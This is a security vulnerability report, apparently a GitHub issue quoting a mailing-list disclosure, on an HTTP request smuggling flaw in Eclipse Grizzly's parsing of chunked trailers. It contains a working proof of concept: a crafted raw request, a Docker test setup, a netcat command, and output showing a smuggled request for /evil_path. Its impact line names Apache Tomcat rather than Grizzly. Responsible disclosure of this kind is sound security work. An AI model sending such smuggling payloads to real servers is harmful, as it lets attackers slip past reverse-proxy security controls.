[Glassfish-Grizzly] HTTP Request Smuggling
From the Security ML: ``` Hello, below you can find the details of a possible security vulnerability I found in Eclipse Grizzly. Please feel free to reach out for any further details. Best regards, Sebastiano Sartor ## Description Eclipse Grizzly cannot properly parse the trailer section if there's no colon in the trailer header's line. It will skip the following lines until the last line with a valid colon-separated key-value header pair, which can be leveraged to perform HTTP request smuggling. If we send the following payload, the headers of the second request (Line 12-15) will be regarded as the trailer section of the first request, while the content of the second request (Line 17-19) is processed as the second request. When sending this payload to other HTTP implementations such as NGINX, Line 12-21 would be the second request. POST /benign_path HTTP/1.1 Host: a.com Connection: keep-alive Transfer-Encoding: chunked 5 12345 0 Content: hello a POST /benign_path HTTP/1.1 Host: a.com Connection: keep-alive Content-Length: 37 GET /evil_path HTTP/1.1 Any: any Host: b.com ## Steps to Reproduce - Environment used: Dockerfile FROM debian:trixie-slim WORKDIR /app ENV DEBIAN_FRONTEND='noninteractive' RUN apt -y update \ && apt -y upgrade \ && apt -y install --no-install-recommends openjdk-21-jdk wget maven git ARG APP_REPO RUN git clone --recurse-submodules "https://github.com/eclipse-ee4j/grizzly" ARG APP_VERSION ARG APP_BRANCH RUN cd grizzly \ && git pull origin "main" \ && git checkout "cec52148f8b6280e1dd5918eb97729a716ae49cb" \ && mvn clean install -Dmaven.test.skip=true COPY Server.java . RUN javac -cp ./grizzly/modules/bundles/http-all/target/grizzly-http-all-4.1.0-SNAPSHOT.jar Server.java CMD java -cp .:./grizzly/modules/bundles/http-all/target/grizzly-http-all-4.1.0-SNAPSHOT.jar Server docker-compose.yml services: eclipse_grizzly: build: context: ./eclipse_grizzly ports: - "8080:8080" Server.java import java.io.IOException; import java.io.Reader; import java.io.Writer; import java.io.ByteArrayOutputStream; import org.glassfish.grizzly.http.server.HttpHandler; import org.glassfish.grizzly.http.server.HttpServer; import org.glassfish.grizzly.http.server.Request; import org.glassfish.grizzly.http.server.Response; public class Server { public static void main(String[] args) throws IOException { final HttpServer server = HttpServer.createSimpleServer(); for (HttpHandler handler: server.getServerConfiguration().getHttpHandlers().keySet()) { server.getServerConfiguration().removeHttpHandler(handler); } server.getServerConfiguration().addHttpHandler(new GardenHandler()); server.start(); try { Thread.sleep(Long.MAX_VALUE); } catch (InterruptedException e) {} } private static class GardenHandler extends HttpHandler { @Override public void service(Request request, Response response) throws IOException { final Reader in = request.getReader(); final Writer out = response.getWriter(); out.write("{\"method\":\""); out.write(new String(request.getMethod().getMethodBytes(), "ISO-8859-1")); out.write("\",\"uri\":\""); out.write(request.getRequestURI() + ((request.getQueryString() != null) ? ("?" + request.getQueryString()) : "")); out.write("\",\"headers\":["); boolean first = true; for (String header_name: request.getHeaderNames()) { for (String header_value: request.getHeaders(header_name)) { if (first) { first = false; } else { out.write(","); } out.write("[\""); out.write(header_name); out.write("\",\""); out.write(header_value); out.write("\"]"); } } out.write("\"],\"version\":\""); out.write(new String(request.getProtocol().getProtocolBytes(), "ISO-8859-1")); out.write("\",\"body\":\""); ByteArrayOutputStream body_stream = new ByteArrayOutputStream(); char[] buf = new char[4096]; while (true) { int read = in.read(buf); if (read == -1) { break; } byte[] the_bytes = new String(buf, 0, read).getBytes("ISO-8859-1"); body_stream.write(the_bytes); } out.write(new String(body_stream.toByteArray(), "ISO-8859-1")); out.write("\"}"); out.flush(); } } } run `docker compose up --build` ### PoC send the following malicious request: printf 'POST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n5\r\n12345\r\n0\r\nContent: hello\r\na\r\n\r\nPOST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nContent-Length: 37\r\n\r\nGET /evil_path HTTP/1.1\r\nAny: any\r\nHost: b.com\r\n\r\n' | nc 127.0.0.1 8080 In output you'll see that the evil request has been successfully smuggled: HTTP/1.1 200 OK Transfer-Encoding: chunked a4 {"method":"POST","uri":"/benign_path","headers":[["host","a.com"],["connection","keep-alive"],["transfer-encoding","chunked"]"],"version":"HTTP/1.1","body":"12345"} 0 HTTP/1.1 200 OK Transfer-Encoding: chunked 6e {"method":"GET","uri":"/evil_path","headers":[["any","any"],["host","b.com"]"],"version":"HTTP/1.1","body":""} 0 ## Impact It can be leveraged to perform HTTP request smuggling in order to bypass security mechanisms when Apache Tomcat is deployed behind a reverse proxy. ```
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent